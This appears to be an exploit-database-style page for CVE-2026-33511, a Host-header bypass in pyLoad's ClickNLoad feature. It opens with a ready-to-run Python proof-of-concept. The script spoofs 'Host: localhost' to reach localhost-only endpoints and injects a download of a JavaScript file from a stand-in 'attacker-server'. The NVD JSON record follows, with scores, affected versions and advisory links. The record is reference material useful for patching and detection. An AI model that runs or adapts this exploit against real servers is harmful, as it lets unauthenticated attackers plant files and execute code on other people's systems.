CVE-2026-33511

import requests # Target URL (Example) target_url = "http://target-ip:port/api/clicknload" # Malicious payload to inject download or JS payload = { "package": "malicious_package", "urls": "http://attacker-server/malicious.js", "destination": "/var/lib/pyload/downloads" } # Spoof the Host header to bypass local_check headers = { "Host": "localhost", "User-Agent": "PoC-Client/1.0" } try: response = requests.post(target_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Command sent.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-33511", "sourceIdentifier": "[email protected]", "published": "2026-03-24T20:16:30.203", "lastModified": "2026-03-26T20:29:49.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pyLoad is a free and open-source download manager written in Python. From version 0.4.20 to before version 0.5.0b3.dev97, the local_check decorator in pyLoad's ClickNLoad feature can be bypassed by any remote attacker through HTTP Host header spoofing. This allows unauthenticated remote users to access localhost-restricted endpoints, enabling them to inject arbitrary downloads, write files to the storage directory, and execute JavaScript code. This issue has been patched in version 0.5.0b3.dev97."}, {"lang": "es", "value": "pyLoad es un gestor de descargas gratuito y de código abierto escrito en Python. Desde la versión 0.4.20 hasta antes de la versión 0.5.0b3.dev97, el decorador local_check en la función ClickNLoad de pyLoad puede ser eludido por cualquier atacante remoto mediante la suplantación del encabezado Host HTTP. Esto permite a usuarios remotos no autenticados acceder a puntos finales restringidos a localhost, permitiéndoles inyectar descargas arbitrarias, escribir archivos en el directorio de almacenamiento y ejecutar código JavaScript. Este problema ha sido parcheado en la versión 0.5.0b3.dev97."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.4.20", "matchCriteriaId": "DACFA9B5-22AD-4BC6-87D5-8272FF49BD56"}, {"vulnerable": true, "criteria": "cpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:python:*:*", "versionStartIncluding": "0.5.0a5.dev528", "versionEndExcluding": "0.5.0b3.dev97", "matchCriteriaId": "FCF4830F-E848-4F80-AB82-2040E219E677"}]}]}], "references": [{"url": "https://github.com/pyload/pyload/security/advisories/GHSA-g5j2-gxqh-x7pw", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/pyload/pyload/security/advisories/GHSA-g5j2-gxqh-x7pw", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}